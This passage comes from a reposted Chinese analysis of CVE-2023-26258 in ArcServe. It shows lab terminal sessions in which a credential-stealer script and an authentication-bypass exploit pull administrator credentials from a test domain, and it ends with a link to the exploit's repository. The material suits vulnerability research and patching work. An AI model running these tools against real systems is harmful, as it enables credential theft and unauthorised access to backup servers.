psyconauta@insulanova:/tmp|⇒  python3 arcserve-creds.py -u eddard.stark -p 'FightP3aceAndHonor!' -d sevenkingdoms.local -target-ip 192.168.56.20    -=[ ArcServe Credential Stealer - (@TheXC3LL) ]=-[+] Connecting to 192.168.56.20[+] Checking Remote Registry service status...[+] Service is down![+] Starting Remote Registry service...[+] Connecting to 192.168.56.20[+] Opening registry key  [*] User: P3TWLADS11STD\vagrant  [*] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter[+] Stopping Remote Registry Service
Have a nice day! ^_^
最后,如果 ArcServe 版本未修补 (CVE-2023-26258),则可以利用管理 Web 界面中的身份验证绕过并检索管理员凭据 ( ArcServe-exploit.py ):
psyconauta@insulanova:/tmp|⇒  python3 exploit.py 192.168.56.10    -=[ ArcServe Pwner by Juan Manuel Fernandez (@TheXC3LL) ]=-

[*] Triggering info leak [+] AdminName: SEVENKINGDOMS\vagrant [+] AuthUUID: 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1[*] Getting a valid session [+] Session: AGENTJSESSIONID=CA35EF18A4FF2F85E25538F60C3F7428[*] Doing an authenticated request to validate if session is valid[*] Session is valid [+] Admin: SEVENKINGDOMS\vagrant [+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98} // Paste it to the decrypter

Have a happy hacking! ^_^
GitHub上的工具链接:https://github.com/mdsecactivebreach/CVE-2023-26258-ArcServe

原文始发于微信公众号(军机故阁):CVE-2023-26258 – ArcServe RCE分析

版权声明:admin 发表于 2023年7月10日 下午4:32。
转载请注明:CVE-2023-26258 – ArcServe RCE分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...